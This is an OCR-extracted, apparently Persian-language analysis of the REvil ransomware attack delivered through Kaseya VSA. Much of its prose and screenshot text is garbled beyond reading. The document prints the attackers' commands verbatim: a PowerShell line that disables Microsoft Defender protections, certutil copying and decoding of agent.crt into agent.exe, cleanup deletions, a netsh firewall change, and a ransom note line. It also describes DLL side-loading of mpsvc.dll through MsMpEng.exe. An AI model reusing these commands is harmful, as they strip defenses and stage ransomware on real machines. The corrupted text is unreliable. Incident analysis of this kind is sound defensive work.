Sleep) “Cloa" @l ,eg5 Glgizo |y (ol (rl 503 wyle 4 .35 Jlyl (Localhost) sass lyol ¢ (59, 0 &5 2w @ 1)
b w50 B ) )l G925 @ |y (3 plo 2! (48> IF L) a5l 05 (gl o5 ©8)S ,ks > (Function

o OFA 3¢ dovaigad (solad )5 logi) § 418)S ©)yg0 (93Lad C)gods Hlaie Ll

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSet-MpPreference-DisableRealtime-
Monitoring Strue -DisablelntrusionPreventionSystem Strue -DisablelOAVProtection Strue -DisableScriptS-
canning Strue -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force

-MAPSReporting Disabled -SubmitSamplesConsent NeverSend
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Jole @i (0,8 i (wopold Lalite (glocubld U sed 0 bW PowerShell yiso dawgy (6550 L dsyo ¢l )d
950 Sl yte Bl 4595 0 il )3 )9S he (W9 g IS asdyiepd 39 Jletye Microsoft Defender (e Windows

copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe

J26 certutil.exe .aiS e ol yumo I Wglatio (gladgy j> certutil.exe Jobd jl ibgig) slaul @ pladl loyd 51 i (2
:.)9156 =P L).JS).)) JETIVN Ubuu_i) oL L «';«.&39.39) ..))].3 )|)§ WindOWS\SyStem\”V JETIVR aS Cawl (§ o

C:\Windows\cert.exe
echo ZRANDOMY >> C:\Windows\cert.exe

5 s (o (B bl i b a5 Gao (pl b Vlisl 2iS,0 adlal certexe Jold slonl 1) (5e8) 0 dac SO YL loyd

030 593 iS50 J)iiS 9 Juo) |) cert.exe jl eslaiwlsgw a5 1) Siuiel OVgamo

C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe
c:\kworking yume ,> agent.exe Jslé LB )5 g 63,5 (LiSaS cert.exe bwgs |y agent.cert Gyzo Jold ¢loyd il s ¢l
Ao 0yud
39450 3Ll PBO3 TRANSPORT LTD (ylgic b odis Joo b ey dolumlgS <ol aislyd ol )3

Securty Detais Previous Versions | Digital Signature Details 7 X

General Compatibity Digital Signatures
General  Advanced
Signature kst |
r . -, Digital Signature Information
Name of signer Digest algothm  Timestamp #Z| This digital signature is OK.
PBO3 TRANSPORT LTD. sha256 Mot avalable
Signer information
e 5 ame: [peo3TRANSPORT LTD.
Emai: [Broue ttebusiness @outiook.com
Detads
Sigring time: ot avaiable
View Certificate
Countersignatures

Name of signer: E-mad address: Timestamp

sopPHoslabs |

— I

del /q /f c:\kworking\agent.crt C:\Windows\cert.exe

9050 CEM.EXe o (S dswd g agent.crt Wis wgo (yloyd (ol
c:\kworking\agent.exe

Gldac g 034 Lol System uwyiws adaw b sl VSA juize gl b j1 5o 45 Agentmon.exe bwgs agent.exe colgs )

9dis0 )8zl

GRS dsuwl & boye (nhal b S MSMpEng.exe 350 5 1) MsSMpEng.exe (L1 agent.exe dalsyo ¢yl )
393 03,5 (adio i lgide |y asuws ¢pl cdlwg,Sule .l Windows Defender )l581ey5 j1 (F.0.¥1A.0)
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B MsMpEngaeae Properties X

Securty Detads Prenvious Versions
Ganenl Compatindty Digtal Sepnabures
Signatune kst

Hame of Soner Digest slgorthm  Timestamp

Mecroscft Comora... shal Sunday, March 23, 2014
Microsoft Copora... shalSé Sunday. March 23 2014
£ }.

Detals

sopPHoslabs
e

Olezlos (52928502 390 (6390 53 55 Wb g ol piscuwl Side-loading @ powge wias 4 MSMpENG.exe j| asuus ¢yl
LSy Iy mpsve.dll pb b oo Jold S agent.exe ggSie (gl jl oslaiwlegw b ju dlas ¢l )d g 4183 1)
Gy B iyt (SHlgshé a5 g MSMpENQg.exe (gl 4 pladl agent.exe aolsl)> .35 50 sleul MsMpENng.exe

A5 s0 MsMpEng.exe © @leie ahadl> ;> mpsve.dll

Do o Jlecl po agent.exe 4 o5 el PBO3 TRANSPORT LTD aoliuolgS (gol> ju5 mpsve.dll

850 )Lzl s |y MSMpENg.exe awgyy (s3le ailyd mpsve.dil wyse a5 b ¢l 5l

S50 Bls Swwd 59y 5l ) C)T )38l 3950 (Hlg>)s adadls ) dil &5 L')T VLt

Slodhils (s Sud (69) p 034 0,053 (ol (613550, sl mpsve.dll JolS jusuws )> a5 MSMpEng.exe (oS!
e (lawgp |y o isiel OYguamo Mac MSMPENG.EXe ()39 yize 0 a5 b 23S (10 LT 1) (glaSuis (sloglys g (Sxilas
90500 H90l (pal (gl 5l &lo g 63,5 (815

23950 jlawe Jlgnbd wleakis s Network Discovery cabld oo 5 ¢loyd (ha! b

netsh advfirewall firewall set rule group="Network Discovery” new enable=Yes

0y (lygiSuw (ylad 5> 63 (6)l550) (Gl ld (@in)oSIl (1l 43 330 e in-place @iyeSIl b REVIl (613550 31,6
29450 30yt 0313 (UL B)ll G2k ) T (SIS0 1 . 3Slesg) T )3 (03bje)pat) Glol (s Jald 4 gib0

R0 )3 ) D900 050 digejmy gual j Calgs )
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All of your files are encrypted

Find pi * M= y-readme.txt and follow instuctions

OT 30 & gladlas il (SUpp'y Chain /—\ttack) U.»OTJ 0)uz5) ) pgwge Wl ()3 @3990 I SO lede 1) VSA @ dlo>
ol jl iaslie 4552u (590 § (SId) § Cacpundr WSiuwd (59) ) 034D Luas yrize )8l 0,5 Sy jl eslaiwlegw b laslge
1233,5 03g)T 158120 @ 1) Lo3T (Sl (gldvaoly

ol Gy JB 32 ypwo > dlos> oyl ébgﬂ s lis
https://github.com/sophoslabs/loCs/blob/master/Ransomware-REvil-Kaseya.csv
ngfl os)iwf daz ol olgdse &S Cwl (ployw)d das 2 dlge

A3 L8 3u3g3 (oy=e 3 ) 0w Wlgise yume (gl siiiume 4565 4o
A lojlw dzgie 1) (6abnhue whluws gl oo U.wL 0)az3) ) 0ub o3l (slo)li8l0)s 4.395).03 Lg)_),uuu.uﬂ

Gy 30830 ez das jl Wlaudes seled 3555 51 ) ¢lojluw Blgs e (siuiel OYVgamo 4 WGro (IS5l 45 auidl aisbls b @

‘&lo

https://helpdesk kaseya.com/hc/en-gb/articles/4403440684689
https://nakedsecurity.sophos.com/2021/07/05/kaseya-ransomware-attackers-say-pay-70-million-
and-well-set-everyone-free/
https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-
attack-hundreds-of-businesses/
https://www.zdnet.com/article/kaseya-ransomware-supply-chain-attack-what-you-need-to-know/
https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-

companies-76edecbec64b
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